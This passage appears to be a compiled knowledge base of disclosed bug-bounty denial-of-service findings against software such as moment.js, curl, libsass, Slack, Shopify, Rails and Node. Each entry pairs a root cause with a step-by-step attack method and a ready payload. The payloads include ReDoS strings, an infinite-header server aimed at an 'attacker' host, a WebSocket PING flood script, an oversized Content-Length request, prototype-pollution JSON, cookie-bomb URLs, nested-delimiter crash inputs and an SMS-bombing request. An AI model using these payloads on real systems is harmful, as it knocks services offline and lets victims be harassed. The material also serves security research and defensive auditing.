Insight — Any server-side thumbnailing of user uploads is a DoS sink: declared image dimensions drive allocation before pixels are validated. Cap max megapixels/allocation and test with pixel-flood/decompression-bomb images.
Real-world example
ReDoS in moment.js rfc2822 date parser
◆ Low
Specimen #1712329 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
moment.js preprocessRFC2822() strips parenthesised comments with a regex that exhibits quadratic/catastrophic backtracking; a long crafted string passed to the moment() constructor causes seconds-to-minutes CPU burn (CVE-2022-31129).
Method
- Find a sink that feeds user input to moment() (date fields parsed without length limits)
- Submit a long crafted string of many '(' characters
- Server thread pins on regex backtracking -> DoS
moment("(".repeat(500000))
Insight — Any user string reaching a date/time parser (moment, custom rfc2822/strtotime) is a ReDoS candidate; cap input length (<=200 chars) before parsing. Grep for date-parsing sinks fed by request params.
Real-world example
Electron custom-protocol handler spawns unlimited app instances
◆ Low
Specimen #392728 · slack · awarded · 9 votes · resolved
Program slackSurface desktop
Root cause
A dev/staging branch of the slack:// URL handler (devEnv=dev|staging|qa) skips the single-instance lock that production enforces, so each invocation launches a new heavyweight app process.
Method
- Inspect app.asar / parse-protocol-url.js for URL-scheme regexes and dev/staging branches
- Craft a page that navigates to the dev-mode URL repeatedly (auto-refresh / many iframes)
- Each load spawns another desktop process -> CPU/RAM exhaustion -> host freeze
slack://open?devEnv=staging
<!-- weaponized: page with N iframes or meta-refresh to the URL -->
<iframe src="slack://open?devEnv=staging"></iframe> (repeat x100)
Insight — Unpack Electron/desktop apps (app.asar) and audit custom URL-scheme handlers. Look for dev/staging/debug branches that bypass guards the production path has (single-instance lock, auth). A single malicious link can then exhaust the victim host.
Real-world example
Hash-collision (hash-flooding) DoS in an XML/DTD parser with unseeded hash table
◆ Low
Specimen #412673 · ibb · none · 9 votes · resolved
Program ibbSurface other
Root cause
expat stores DTD entities/elements/attributes in a hash table protected by hash randomization only if the app calls XML_SetHashSalt with good entropy; Python's _elementtree C accelerator omitted it (and XML_POOR_ENTROPY=1), so xml.etree used a predictable/low-entropy seed and a crafted large DTD forces O(n) collisions -> CPU DoS (CVE-2018-14647).
Method
- Identify an XML endpoint that parses DTDs/large numbers of named entities.
- Confirm the parser lacks hash randomization (predictable seed).
- Submit XML whose DTD contains many colliding keys to degrade hash operations to O(n).
<!-- crafted XML with a large DTD full of hash-colliding entity/element names -->
<!DOCTYPE root [ <!ENTITY a0 ""> <!ENTITY a1 ""> ... many colliding names ... ]>
<root/>
Insight — Algorithmic-complexity DoS: any hash-table-backed parser (XML entities, HTTP params, JSON keys) that lacks per-process hash randomization is floodable. Check whether the language binding actually seeds the underlying library's hash.
Real-world example
Client-side DoS: malicious server hangs urllib despite timeout
◆ Low
Specimen #1188128 · ibb · 240 · 9 votes · resolved
Program ibbSurface otherTag webhook
Root cause
Python urllib's timeout applies to socket operations but a server that keeps trickling response bytes (e.g. endless header line) keeps the client in a receive loop forever, so urlopen(timeout=1) never returns.
Method
- Point a client at an attacker-controlled http/https/ftp URL
- Server sends HTTP/1.1 then streams an unending header line (x:a\n ...) slowly
- urllib.request.urlopen hangs indefinitely (and may grow memory) even with timeout set
# evil server loop
newSocket.send(b"HTTP/1.1 100 OK\n")
while True:
newSocket.send(b"x:a\n")
# victim
import urllib.request
urllib.request.urlopen(urllib.request.Request('http://attacker:8085'), timeout=1)
Insight — When an app fetches attacker-controlled URLs (SSRF-style features, link previews, webhooks), a hostile endpoint can hang the fetcher forever because socket timeout != overall-operation timeout. Look for outbound-fetch features that lack a total deadline / response-size cap.
Real-world example
SMS/notification bombing via an unthrottled invite endpoint
◆ Low
Specimen #94642 · whisper · 30 · 8 votes · resolved
Program whisperSurface web
Root cause
An invite/notification endpoint accepts an attacker-supplied phone number with no rate limit or CAPTCHA, so automated POSTs deliver arbitrary SMS to any number (or range) - harassment of victims and direct SMS toll cost to the target.
Method
- Find an unauthenticated invite/OTP/notify endpoint that takes a phone/email.
- Replay it with a victim's number (or a range) at high volume.
- Confirm each request sends a real SMS; no CAPTCHA/per-number cap.
POST /invite HTTP/1.1
Host: whisper.sh
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
phoneNumber=518-373-1319
# -> HTTP/1.1 200 OK "Invite sent successfully" (repeatable without limit)
Insight — Any endpoint that sends SMS/email/push on request is a bombing + cost-amplification vector if unthrottled. Check invite, OTP resend, share-via-SMS, magic-link. Recommend per-number rate limit + CAPTCHA.
Real-world example
Long-password hashing DoS (missing max-length before expensive hash)
◆ Low
Specimen #223854 · weblate · none · 8 votes · resolved
Program weblateSurface web
Root cause
Registration/login accepts arbitrarily long passwords and feeds them to a slow KDF (bcrypt/PBKDF2) with no upper length bound, so a huge password forces heavy CPU per auth attempt (here it returned 500s), amplifiable into DoS.
Method
- On registration/login/password-change, submit a very large password (hundreds of KB / MB).
- Observe elevated latency, 500s, or timeouts from server-side hashing.
- Repeat concurrently to exhaust CPU.
POST /accounts/password
password=<several hundred KB to MB of characters>
Insight — Always test password/passphrase fields with oversized input; the fix is a max length (bcrypt only uses first 72 bytes anyway) before hashing. Same class as Django's 2013 long-password DoS.
Real-world example
Client-side browser DoS via a crafted page (Brave: <object> mime crash; reload hang)
◆ Low
Specimen #357665 · brave · awarded · 8 votes · resolved
Program braveSurface mobile-ios
Root cause
A browser mishandles specific page content so that merely loading an attacker page crashes/hangs it: Brave iOS crashes on an <object> whose type is a valid renderable mime (text/html, application/pdf); Brave desktop hangs on a tight setInterval location.reload() loop. Persistence occurs because the crashed page reloads on next launch.
Method
- Serve a crafted page and get the victim to open it.
- iOS variant: inject <object type='text/html'> to crash the renderer.
- Desktop variant: setInterval('location.reload()',1) to hang the tab.
- Persistence: the browser reopens the crashing page on relaunch, wedging it until the tab is closed offline.
<!-- Brave iOS crash (#357665) -->
<script>
let o = document.body.appendChild(document.createElement('object'));
o.type = 'text/html'; // application/json / application/pdf also crash
</script>
<!-- Brave desktop hang (#181686) -->
<script>open(""); setInterval('location.reload()',1);</script>
Insight — For browsers/webviews, test rendering of edge-case elements (<object>/<embed> with unusual valid mime types) and self-referential loops (reload/history). Forks (Brave from Firefox iOS) often reintroduce crashes the upstream fixed; diff against upstream behavior.
Real-world example
Negative size in tar header via loose octal parsing -> infinite loop
◆ Low
Specimen #281336 · rubygems · none · 7 votes · resolved
Program rubygemsSurface otherTag file-upload
Root cause
RubyGems parsed tar header numeric fields with String#oct, which accepts signs/radix prefixes/garbage; a negative size field makes TarReader.each seek backwards after each header, re-reading the same header forever when unpacking a crafted .gem.
Method
- Craft a tar/.gem whose size field is a negative octal like '-0000001000\x00' (=-512)
- Run any command that iterates tar entries (gem install/unpack/specification)
- Reader seeks backwards and loops forever (CPU DoS, e.g. against rubygems.org ingestion)
# tar header 'size' field set to: -0000001000\x00 (String#oct parses this as -512)
# ships in loop.gem; triggered by: gem install loop.gem / gem unpack loop.gem
Insight — When auditing parsers, check how numeric header fields are decoded. Lenient converters (oct/atoi/strtol) that accept signs or stop silently on garbage let you inject negative or bogus lengths -> backward seeks, integer underflow, or huge allocations. Fix pattern: strict /\A[0-7]+\z/ validation before parsing.
Real-world example
Malicious server sends huge DH prime -> client-side asymmetric DoS (CVE-2018-0732)
◆ Low
Specimen #364964 · ibb · awarded · 7 votes · resolved
Program ibbSurface other
Root cause
During a DH(E) TLS handshake OpenSSL clients did not bound the size of the server-supplied prime, so a malicious server can send a very large p and the client hangs generating its key - the expensive work is forced onto the connecting client.
Method
- Stand up a malicious TLS server offering a DH(E) ciphersuite
- Serve an abnormally large DH prime in the key exchange
- Connecting clients hang generating a key for that prime (DoS)
# malicious TLS server presenting a DH(E) ciphersuite with an oversized prime p; client stalls in key generation
Insight — DoS is not always inbound: a malicious server can weaponize a protocol handshake against clients. Whenever a client does unbounded computation on server-supplied parameters (DH primes, key sizes, decompression ratios, iteration counts), a hostile endpoint achieves client-side DoS. Test your own client/library against a rogue server.
Real-world example
No-progress receive loop: zero-length datagram skipped before budget increment
◆ Low
Specimen #3783438 · curl · none · 7 votes · resolved
Program curlSurface network
Root cause
curl's QUIC receive helpers loop while pkts < max_pkts but 'continue' past zero-length UDP datagrams before incrementing pkts; a peer that floods zero-length datagrams keeps the loop making no progress and never exiting (CVE-2026-11352).
Method
- Complete a QUIC/HTTP3 handshake with the victim curl client
- Then continuously send zero-length UDP datagrams to the connected socket
- recvmmsg_packets/recvmsg_packets skip them before counting, so vquic_recv_packets never reaches its budget -> busy loop; curl --http3-only --max-time 2 still running after 30s
// vulnerable pattern in lib/vquic/vquic.c:
while(pkts < max_pkts) {
...
if(!mmsg[i].msg_len) continue; // skipped BEFORE pkts advances -> no progress
...
pkts += (mmsg[i].msg_len + gso_size - 1) / gso_size;
}
// contrast recvfrom_packets(): ++pkts; if(!nread) continue; // safe
Insight — Audit bounded receive/read loops for a 'continue' that skips empty/zero-length input before the loop counter or budget is advanced. An attacker who can supply infinite empty units (zero-length datagrams, empty frames, 0-byte reads) turns the bound into a no-op and busy-loops the process. The correct pattern counts the unit before skipping its payload.
Real-world example
Set-Cookie flood -> later requests exceed size limit (self-DoS, CVE-2022-32205)
◆ Low
Specimen #1614328 · ibb · awarded · 6 votes · resolved
Program ibbSurface other
Root cause
curl stores every Set-Cookie a server sends with no cap; enough big matching cookies inflate subsequent requests past curl's internal 1MB request limit, so curl refuses to send them - a persistent denial state that also affects sibling domains via cookie matching.
Method
- From a malicious (or sibling) server, respond with a huge number of large Set-Cookie headers
- curl persists all of them
- Subsequent requests to matching hosts exceed the 1MB threshold and error out until the cookies expire/are cleared
# HTTP response with thousands of large Set-Cookie: headers scoped to .example.com
# subsequent curl requests to *.example.com exceed the 1048576-byte cap and fail
Insight — State a client stores without bound (cookies, cache, headers) can be weaponized so the client DoSes itself on later requests. Cookie domain-matching means foo.example.com can DoS bar.example.com (sister-site attack). Fix pattern: cap count/size (curl added 150 cookies/req, 50 Set-Cookie, 8K Cookie header).
Real-world example
Client-side renderer DoS via unbounded location string growth
◆ Low
Specimen #181558 · brave · awarded · 6 votes · resolved
Program braveSurface web
Root cause
A page can repeatedly append to window.location (an 'a = a + a' style growth) with no validation, ballooning the URL until the browser renderer is killed - a self-contained client DoS.
Method
- Get the victim to open an attacker page (or iframe)
- Script appends to window.location / concatenates it repeatedly
- URL grows until the renderer process is killed / tab hangs
<script>window.location+='?\u202a\uFEFF\u202b';</script>
<!-- or -->
<iframe style="width:0;height:0;border:0" src="data:text/html;charset=utf-8,<script>window.location+='?'+window.location.toString().split('');</script>"></iframe>
Insight — Client-side DoS lives in APIs that let a page grow unbounded state (location, history.pushState loops, localStorage, huge DOM). Useful mainly as a nuisance/kiosk-crash primitive; fixed in Chrome/Firefox, so test forks/embedded browsers that lag upstream mitigations.
Real-world example
Unbounded recursive-descent parser -> stack-overflow via deeply nested input
◆ Low
Specimen #221260 · libsass · none · 6 votes · resolved
Program libsassSurface other
Root cause
libsass's recursive-descent parser has no recursion-depth limit; a value with deeply nested brackets in an interpolation recurses parse_factor->...->parse_bracket_list without bound and overflows the stack (ASAN stack-overflow).
Method
- Feed sassc a value containing many nested '[' inside an interpolation
- Parser recurses per nesting level with no depth cap -> stack overflow crash
@H#{[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ ... hundreds of '[' ... }
Insight — Any recursive-descent parser (CSS/SASS, JSON, regex, XML, expression evaluators) without an explicit nesting/depth limit is stack-overflow-able with deeply nested delimiters. Cheapest fuzz: repeat one opening bracket/paren/brace thousands of times. Fix = enforce a max recursion depth.
Real-world example
Unbounded recursion in recursive-descent parser (JSONPath recursive descent)
◆ Low
Specimen #882923 · kubernetes · awarded · 6 votes · resolved
Program kubernetesSurface apiTag file-upload
Root cause
client-go's jsonpath evalRecursive() recurses on the '..' recursive-descent operator / deeply nested template without a depth cap, so a template full of recursive-descent tokens blows CPU and memory when evaluated against any resource.
Method
- Find features that accept user-controlled JSONPath/template (kubectl -o=jsonpath, dashboards, cloud controllers using client-go).
- Supply a jsonpath with a huge run of recursive-descent/nested tokens.
- Evaluate against a resource with at least one record; watch CPU/memory climb.
kubectl get services -o=jsonpath="{.....................................................................................................................................}"
Insight — Any place that accepts user JSONPath/XPath/template and evaluates it server-side is a recursion-DoS sink; fuzz the expression grammar (go-fuzz found this) rather than the data.
Real-world example
Unbounded auto-response send-queue growth (curl WebSocket auto-PONG)
◆ Low
Specimen #3788931 · curl · none · 6 votes · resolved
Program curlSurface networkTag webhook
Root cause
curl auto-replies a PONG to every WebSocket PING and queues it into ws->sendbuf, which uses BUFQ_OPT_SOFT_LIMIT (no hard cap) and ignores ws_flush() results; a peer that floods PINGs while never reading drains nothing, so the send queue grows until OOM (CVE-2026-11586).
Method
- Complete a valid WebSocket upgrade as the server.
- Stop reading client data and continuously send empty PING frames.
- curl keeps appending PONGs to an unbounded soft-limit buffer -> RSS climbs to ~1GiB in ~2s -> OOM (curl: (27)).
# Malicious WS server: valid 101 handshake, then flood empty PINGs, never read.
f = b"\x89\x00" * 65536 # 0x89=FIN|PING, 0x00=zero-length payload
while True:
c.sendall(f)
# client: curl --max-time 8 ws://127.0.0.1:PORT/ (mitigate with CURLWS_NOAUTOPONG)
Insight — Auto-response mechanisms (PONG, ACK, keepalive) with a soft-limit / unflushed send queue are memory-DoS sinks when the peer refuses to drain: backpressure, not timeouts, is the real fix. Grep for send buffers lacking a hard cap.
Real-world example
Cookie bomb DoS via URL param reflected into domain-scoped cookie
◆ Low
Specimen #105363 · shopify · none · 6 votes · resolved
Program shopifySurface web
Root cause
Client-side JS reads a URL query parameter and stores it verbatim in a cookie scoped to the parent domain (.shopify.com) with no length validation; escape() further inflates special chars ~3x, so an oversized value produces a cookie header the server rejects with HTTP 400.
Method
- Find a page where a URL param is copied into a cookie via document.cookie (here ref/ssid on livechat.shopify.com/customer/chats/new)
- Craft a link whose param value is long (and full of chars that expand under escape(), e.g. commas -> %2C)
- Send victim the link; browser sets an oversized cookie for the whole parent domain
- All subsequent requests to that domain return 400 (Request Header Too Large) for ~30 days until the cookie expires
https://livechat.shopify.com/customer/chats/new?ref=,,,,,,,, (repeat ',' several thousand times) &ssid=,,,,,,,,...
Insight — Any client-side sink that copies attacker-controlled URL params into a cookie is a cookie-bomb DoS primitive, especially when the cookie domain is a shared parent (.example.com) so the DoS spans all subdomains. Look for setCookie/document.cookie fed from location.search, and note encoding functions (escape/encodeURIComponent) that inflate length.
Real-world example
App crash via malformed intent to exported deeplink handler (Android)
◆ Low
Specimen #859136 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface mobile-android
Root cause
An exported Activity registered for a custom deeplink (nc://login) parses the incoming URI in parseLoginDataUrl() without catching parse exceptions; a malformed deeplink from any local app throws and crashes the client (DoS).
Method
- Identify the exported Activity and its registered deeplink scheme in AndroidManifest
- Send a malformed URI of that scheme via an implicit/explicit intent from a malicious app
- The unhandled exception in the URI parser crashes the target app
adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.DEFAULT" -n "com.nextcloud.client/com.owncloud.android.authentication.ModifiedAuthenticatorActivity" -d "nc://login"
Insight — Enumerate exported components and custom URL schemes in the manifest, then fuzz each deeplink handler with truncated/malformed URIs. Uncaught parse exceptions in intent/URI handling are a reliable low-effort DoS and can indicate deeper input-validation gaps in the same parser.
Real-world example
Recursive-descent parser stack overflow via deeply nested tokens
◆ Low
Specimen #221292 · libsass · none · 5 votes · resolved
Program libsassSurface otherTag file-upload
Root cause
libsass parses expressions with mutually-recursive C++ functions (parse_factor -> parse_map -> parse_list -> ... -> parse_factor) and no nesting/recursion limit, so deeply nested '(' or map syntax exhausts the native stack and crashes (ASAN stack-overflow).
Method
- Identify a parser fed untrusted input (CSS/SCSS preprocessor, JSON/XML, expression evaluators).
- Generate input with thousands of nested opening delimiters.
- Feed to the parser (sassc -s); observe stack-overflow abort.
/**/0{i:(((((((((((( ... several thousand '(' ... ((((((
Insight — Deeply nested delimiters against any recursive-descent parser -> stack overflow DoS. Autogenerate N-deep '(', '[', '{' and diff crash depth; same class as jsonpath (#882923).
Real-world example
Infinite loop via cyclic graph without cycle detection (curl CERTINFO cert-chain loop)
◆ Low
Specimen #1555441 · curl · none · 5 votes · resolved
Program curlSurface networkTag file-upload
Root cause
curl's CERTINFO code walks the server's certificate chain from leaf to issuer to count certs, stopping only at a self-signed root; a chain where two CAs list each other as issuer forms a cycle the loop never exits, pinning ~100% CPU (CVE-2022-27781, NSS backend).
Method
- Stand up a TLS server presenting a cert chain with a cycle: leaf issued by CA2, CA2 issued by CA1, CA1 issued by CA2.
- Have a libcurl client with CERTINFO enabled (NSS build) connect.
- The issuer-walk loop spins forever -> CPU DoS.
# certificate chain forming a loop (combined_loop.pem):
# localhost <- issued by CA2
# CA2 <- issued by CA1
# CA1 <- issued by CA2 (cycle)
# curl example built with --with-nss and CURLOPT_CERTINFO, URL=https://localhost:4443/
Insight — Any code that follows attacker-supplied parent/issuer/reference pointers (cert chains, symlink/graph traversal, template includes) needs a visited-set or depth cap; a crafted cycle turns it into an infinite-loop DoS.
Real-world example
Content-Length-driven allocation OOM in mod_lua r:parsebody(0)
◆ Low
Specimen #1596252 · ibb · awarded · 5 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
When a Lua script calls r:parsebody(0) (no size limit), lua_read_body() allocates Content-Length+1 bytes from the request pool with no upper bound; a huge Content-Length forces a giant apr_pcalloc that fails and triggers abort_on_oom(), crashing the worker.
Method
- Find/host a mod_lua endpoint whose handler calls r:parsebody(0)
- Send a POST with an absurd Content-Length (INT64_MAX) and multipart body
- Server tries to allocate ~2^63 bytes, OOM abort() crashes httpd
curl -v -i -H "Content-Type: multipart/form-data; boundary=badbadbadb..." -H "Content-Length: 9223372036854775807" -X POST -k http://TARGET/bug94/bug94.lua
-- bug94.lua
function handle(r)
local s = r:parsebody(0)
end
Insight — Any code path that mallocs a buffer sized directly from an attacker-controlled length header (Content-Length, X-*-Length, chunk size) with no cap is an OOM-DoS. Test with an enormous length header + tiny/empty body; watch for allocator abort vs graceful 413.
Real-world example
ReDoS via web request parameter (Apache Airflow gantt root param)
◆ Low
Specimen #2068004 · ibb · USD 540 · 4 votes · resolved
Program ibbSurface web
Root cause
An authenticated Airflow endpoint passes the 'root' query parameter into a regular expression; a nested-quantifier payload causes catastrophic backtracking that hangs the request-handling thread.
Method
- Authenticate to Airflow (<2.6.3)
- Request a DAG gantt/graph view with a crafted 'root' param
- Regex engine hangs, DoS-ing the web worker (repeat to exhaust threads)
http://TARGET:8080/dags/dataset_consumes_1/gantt?root=(((((((.*)*)*)*)*)*)*)!
Insight — Any request parameter that feeds a filter/search regex is a ReDoS candidate. The universal probe payload `(((((((.*)*)*)*)*)*)*)!` (nested quantifiers + a char that forces the failing branch) plus timing measurement finds these fast; the trailing '!' guarantees the non-match backtrack.
Real-world example
Nested markdown reference-link parsing amplification
◆ Low
Specimen #115205 · security · awarded · 4 votes · resolved
Program securitySurface web
Root cause
The markdown renderer parses reference-style links nested inside links, re-parsing inner results up to a depth of 16; a line stacking 16 nested links multiplies parser work, and many such lines drive server-side CPU to timeout (Cloudflare 522).
Method
- Find a server-side markdown renderer (comment/report body)
- Submit many lines each nesting reference links 16 deep pointing at one reference
- Rendering CPU blows up, request times out for the page
[[[[[[[[[[[[[[[[][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]][l]
[l]:http://dwq
(repeat the line many times)
Insight — Recursive/nested constructs in any parser (markdown, YAML anchors, XML entities, regex) are amplification primitives. Probe for the max supported nesting depth, then stack it across many lines/records to multiply CPU. A stored/rendered field that accepts markup is the delivery vector.
Real-world example
CPU-spin DoS via unbounded leading-CRLF stripping in a growing buffer (epee HTTP)
◆ Low
Specimen #344499 · monero · none · 4 votes · resolved
Program moneroSurface network
Root cause
epee's HTTP protocol handler discards leading CRLFs before parsing by repeatedly erasing from the front of a std::string cache; with no cap on how many are tolerated, an attacker streams endless CRLFs and the handler thread spins forever doing expensive front-erases (O(n) each) on the growing buffer.
Method
- Open a TCP connection to any epee-based HTTP port (e.g. monerod RPC)
- Stream an arbitrarily large number of CR/LF bytes and never send non-CRLF data
- The handler thread loops erasing leading CRLFs and never makes progress; open many connections to tie up all threads
telnet TARGET PORT
(then send: \r\n\r\n\r\n ... indefinitely, no other data)
Insight — Pre-parse 'skip whitespace/delimiters' loops that erase from the front of a mutable buffer are both O(n^2) and often uncapped -> CPU-exhaustion DoS. Audit protocol handlers for front-of-buffer erase in a loop with no maximum-skip limit. As an attacker, feed unlimited leading delimiters (CRLF, spaces, zero-width) before any real token.
Real-world example
Client-side memory exhaustion via unbounded domain cookies (curl)
◆ Low
Specimen #1569946 · curl · none · 4 votes · resolved
Program curlSurface other
Root cause
No cap on the number/size of cookies a single host/domain may set; the cookie jar grows unbounded so building a later request's Cookie header exceeds the request buffer and returns CURLE_OUT_OF_MEMORY.
Method
- Serve a response with hundreds of large Set-Cookie for Domain=hax.invalid
- Have the HTTP client store them (curl -c/-b)
- Any subsequent request in that domain fails / OOMs when assembling the huge Cookie header
def do_GET(self):
self.send_response(200)
for i in range(0,256):
self.send_header("Set-Cookie", "f{}={}; Domain=hax.invalid".format(i,"A"*4092))
self.end_headers()
Insight — Cross-host attack inside a shared domain: any subdomain can poison the cookie jar for siblings. When testing HTTP clients/proxies, check whether cookie count/size is bounded per domain.
Real-world example
Unbounded multipart parts CPU/memory exhaustion (Rack)
◆ Low
Specimen #1954937 · ibb · USD 480 · 3 votes · resolved
Program ibbSurface web
Root cause
Multipart/form-data parser processes and tracks an unlimited number of empty/field parts on any POST body, so a modest body with a huge number of parts causes extensive CPU and memory usage (workers blocked, OOM-kill).
Method
- Target any POST endpoint that parses multipart bodies (all Rails apps by default)
- Send a multipart body containing an enormous number of tiny/empty parts
- Parser burns CPU and memory tracking every part -> worker starvation / OOM
POST with Content-Type: multipart/form-data; boundary=X and a body of tens of thousands of:
--X\r\nContent-Disposition: form-data; name="a"\r\n\r\n\r\n (repeated)
Insight — Body-parser part/field counts are a framework-wide DoS class (also hit many other stacks in the same coordinated disclosure). Check for caps on multipart part count, header count, and nested param depth; a WAF blocking only large bodies (10s of MB) does not help since the body stays small.
Real-world example
Interpreter divergence -> infinite codegen loop -> OOM (mruby)
◆ Low
Specimen #200387 · shopify-scripts · USD 100 · 3 votes · resolved
Program shopify-scriptsSurface other
Root cause
mruby accepts a construct MRI Ruby rejects at parse (`redo` inside `rescue`); its codegen emits OP_ONERR/OP_JMP that jump to each other, an infinite loop where OP_ONERR reallocs and doubles the rescue stack every iteration until memory is exhausted.
Method
- Find language constructs the embedded interpreter accepts but the reference implementation rejects
- Submit the divergent snippet
- Codegen/VM enters an unbounded loop that keeps allocating -> OOM
class A redo
rescue c
end
Insight — Differential testing against the reference implementation (MRI vs mruby) surfaces parser/codegen divergences; the ones that produce self-jumping bytecode or unbounded realloc are memory-exhaustion DoS even inside an instruction-quota sandbox (quota only trips after alloc).
Real-world example
Unbounded recursion -> stack-exhaustion DoS (mruby)
◆ Low
Specimen #212456 · shopify-scripts · awarded · 3 votes · resolved
Program shopify-scriptsSurface other
Root cause
Deeply nested class definitions (class<<Proc; class P ...) make mrb_class_path recurse into itself once per nesting level with no depth limit, so the native call stack is exhausted -> SIGSEGV.
Method
- Find a recursive-descent / tree-walking routine with no depth cap (name resolution, parser, serializer)
- Provide input nested far deeper than the available stack
- Recursion overruns the guard page -> stack-overflow crash
class<<Proc
class P class<<Proc
class P class P t end end
end end end
Insight — Nested-structure inputs (deep classes/parens/JSON/XML) crash any recursive parser or path/name resolver lacking a depth limit. Cheap to fuzz: repeat an opening token thousands of times. Same primitive as the libsass stack overflows (#221262).
Real-world example
Recursive-descent parser stack overflow via deeply nested input (libsass)
◆ Low
Specimen #221262 · libsass · none · 3 votes · resolved
Program libsassSurface other
Root cause
libsass's recursive-descent SCSS parser (parse_map/parse_list/parse_value... mutual recursion) has no nesting-depth limit, so deeply nested parentheses/maps exhaust the call stack and SIGSEGV.
Method
- Feed sassc a value with thousands of nested '(' (or nested maps)
- Parser recurses parse_map -> parse_list -> ... per level
- Stack overflow crash (ASan: stack-overflow)
0{g:00;m:(((((((( ... (((((0} # hundreds/thousands of nested '(' passed to ./sassc -s
Insight — Compilers/parsers that recurse per nesting level (CSS/JSON/HTML/regex/template engines) all crash on deeply nested input unless they cap depth. Generate the PoC by repeating an opening delimiter; run under ASan to confirm stack-overflow.
Real-world example
Unbounded parser recursion -> stack exhaustion (libsass selectors)
◆ Low
Specimen #221286 · libsass · none · 3 votes · resolved
Program libsassSurface otherTag file-upload
Root cause
Recursive-descent parser (parse_complex_selector) recurses once per nesting level of a crafted selector with no depth limit; deep nesting exhausts the call stack (ASan stack-overflow).
Method
- Feed a crafted .scss whose selector nests to thousands of levels
- Compile with sassc; each level adds a parse_complex_selector frame until the stack overflows
./sassc test099 /dev/null # test099 = SCSS with deeply nested complex selector
# crash: AddressSanitizer: stack-overflow in Sass::Parser::parse_complex_selector (parser.cpp:746)
Insight — Any hand-written recursive-descent parser without an explicit depth cap is a stack-exhaustion DoS target. Fuzz nesting depth of every recursive grammar construct (selectors, brackets, parens, expressions).
Real-world example
Prototype pollution via deep-merge -> guaranteed DoS
◆ Low
Specimen #310514 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> Object.prototype.toString overwritTag file-upload
Root cause
Recursive merge/extend/defaults utilities copy attacker-controlled keys including __proto__ onto Object.prototype; replacing toString/valueOf with a string breaks every object -> Express throws 500 on every request (guaranteed DoS), and can escalate to RCE.
Method
- Find an endpoint that JSON.parses user input and passes it to a deep merge/extend/defaults util
- POST a body with a __proto__ key that sets toString/valueOf to a string
- All subsequent object stringification throws -> server 500s / crashes
var merge = require('defaults-deep'); // also merge-deep, node.extend
merge({}, JSON.parse('{"__proto__":{"oops":"It works !"}}'));
console.log(({}).oops); // 'It works !'
// DoS payload: {"__proto__":{"toString":"x"}} -> breaks Express response
Insight — Any recursive object-merge fed user JSON is a prototype-pollution sink. Even without a gadget to RCE, overwriting Object.prototype.toString/valueOf is a reliable full-app DoS. Test merge/extend/defaults/set utilities and Object.assign-style recursion.
Real-world example
ReDoS sink map in Rack/Rails request parsing
◆ Low
Specimen #2012121 · ibb · awarded · 2 votes · resolved
Program ibbSurface apiTag webhook
Root cause
Multiple Rack/Rails request-parsing regexes backtrack catastrophically on crafted, unauthenticated input: Range header (CVE-2022-44570), Content-Disposition (CVE-2022-44571), RFC2183 multipart boundary (CVE-2022-44572), and ActiveSupport underscore/titleize (CVE-2023-22796).
Method
- Identify the parsing surface (Range header on any file/streaming route; Content-Disposition/boundary in multipart POST; underscore on any inflected user string)
- Send a crafted value that maximizes backtracking; multipart body variants bypass request-header size limits
- Each request consumes large CPU/memory
# Range header ReDoS (public dirs, no auth):
Range: bytes=<crafted>
# Content-Disposition / multipart boundary ReDoS: place crafted value in multipart body
# ActiveSupport: String#underscore('<crafted>'), also .titleize/.tableize/.foreign_key
Insight — Map ReDoS to framework request-parsing internals, not just app code: Range, Content-Disposition, multipart boundaries, and inflection helpers are all reachable pre-auth. Multipart body vectors evade header-size limits. Note Ruby 3.2+ regex memoization neutralizes some (Range) but not all (boundary) of these.
Real-world example
Attacker-controlled length field -> unchecked huge allocation
◆ Low
Specimen #134880 · ibb · awarded · 2 votes · resolved
Program ibbSurface networkTag file-upload
Root cause
OpenSSL's streaming ASN.1 decoder (asn1_d2i_read_bio) allocates memory sized directly from the declared length field before validating that much data exists; a tiny input declaring a giant SEQUENCE length forces a huge malloc -> CPU/memory/swap exhaustion (CVE-2016-2109).
Method
- Send a short ASN.1 blob to a d2i BIO function (e.g. d2i_CMS_bio) with a large declared length
- Decoder allocates per the length field before checking availability -> resource exhaustion
# 7-byte input declaring SEQUENCE of length 0x30303030:
30 84 30 30 30 30 30
# -> allocation of ~0x30303030 bytes
Insight — In any length-prefixed binary format (ASN.1/DER, TLV, protobuf-ish, custom P2P), a declared length used to size an allocation before the bytes are present is a memory-exhaustion DoS. Read incrementally / cap allocations against actual available input.
Real-world example
HTTP/2 SETTINGS-frame flood -> CPU exhaustion
◆ Low
Specimen #446662 · nodejs · none · 2 votes · resolved
Program nodejsSurface apiTag webhook
Root cause
Node http2 processes large SETTINGS frames (many settings entries, ~14400-byte payload) with no throttling and does not close abusive connections; a few connections flooding SETTINGS frames pin a CPU core to 100% (RFC 7540 section 10.5 attack).
Method
- Open multiple HTTP/2 connections to the target
- Repeatedly send oversized SETTINGS frames (payload ~14400 bytes of setting entries)
- Server processes each fully and never closes the connection -> 100% CPU
# HTTP/2 SETTINGS frame stuffed with max entries, ~14400-byte payload, sent in a loop across connections
# see RFC 7540 sec 10.5; overloads one CPU core from a single machine
Insight — HTTP/2 (and HTTP/3) control frames (SETTINGS, PING, PRIORITY, RST_STREAM/window updates) are cheap for the attacker but costly for the server. Test frame-flood classes and verify the server rate-limits and closes abusive connections.
Real-world example
Unbounded password length -> expensive-hash CPU DoS
◆ Low
Specimen #949712 · nextcloud · none · 2 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
A password field enforces no maximum length; submitting a multi-kilobyte password forces the server to run its (deliberately slow) password hash over a huge input, spiking CPU and freezing the app (long-password DoS).
Method
- Find a password-processing endpoint (register, login, change password)
- Submit a very long password (many KB)
- Server hashes the whole string -> CPU spike / unresponsive
# change-password form, new password field:
new_password = '123456789 ' repeated to several kilobytes
Insight — Any field fed into bcrypt/scrypt/argon2/PBKDF2 must be length-capped (e.g. 72 bytes for bcrypt / a sane max). No max length on password/hash inputs = trivial CPU DoS. Check register, login, reset, and change-password endpoints.
Real-world example
